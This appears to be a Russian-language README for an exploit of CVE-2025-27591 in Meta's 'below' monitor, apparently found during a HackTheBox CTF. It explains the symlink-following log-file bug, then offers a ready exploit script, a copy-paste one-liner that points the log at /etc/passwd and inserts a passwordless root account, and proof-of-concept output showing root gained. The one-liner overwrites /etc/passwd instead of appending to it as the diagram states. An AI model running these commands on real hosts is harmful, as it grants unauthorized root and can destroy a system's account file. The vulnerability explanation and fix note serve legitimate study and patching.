CVE-2025-27591 — Meta `below` — повышение локальных привилегий через симлинк

Обзор

Поле	Подробности
CVE	CVE-2025-27591
Программное обеспечение	Meta `below` (монитор системных ресурсов)
Затронутые версии	< 0.9.0
Уязвимость	Следование за симлинком → произвольная перезапись файла от root
Аутентификация	Локальный пользователь с доступом sudo к `below`
Воздействие	Локальное повышение привилегий до root
Контекст	Обнаружено во время CTF на HackTheBox

Описание

Инструмент мониторинга системных ресурсов below (от Meta Platforms, Inc.) содержит ошибку в механизме журналирования ошибок. При вызове через sudo он принудительно устанавливает права 0666 на свои файлы журналов, расположенные в /var/log/below/, без предварительной проверки, является ли целевой путь симлинком. Это позволяет локальному злоумышленнику заменить файл журнала на симлинк, указывающий на любой файл, доступный для записи от root, тем самым перезаписывая его контролируемым содержимым.

Технические детали

Корневая причина

Код журналирования в below < 0.9.0 при запуске от root выполняет следующие операции по порядку:

Определяет путь к журналу: /var/log/below/error_root.log
Создаёт или открывает файл
Вызывает chmod(path, 0o666) — без проверки, является ли он симлинком
Записывает сообщение об ошибке по указанному пути

Цепочка эксплуатации

Local user
    │
    ▼
Remove /var/log/below/error_root.log
    │
    ▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
    │
    ▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
    │  (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
    ▼
/etc/passwd is now world-writable
    │
    ▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
    │
    ▼
su rooted → root shell

Почему работает `--time "invalid"`

Передача недопустимой строки времени заставляет below записать сообщение об ошибке. Путь обработки ошибки достигает кода журналирования, который слепо записывает в файл, который теперь является нашим симлинком.

Использование

chmod +x exploit.sh
./exploit.sh

Предварительное условие: Текущий пользователь должен иметь права sudo для выполнения /usr/bin/below.

Однострочник

rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted

Подтверждение концепции

$ whoami
lowpriv
$ ./exploit.sh
# whoami
root

Исправление

Уязвимость была исправлена в версии below 0.9.0. Исправление добавляет проверку на симлинк перед любыми файловыми операциями в пути журналирования.

CVE-2025-27591-Meta-below-LPE

Популярное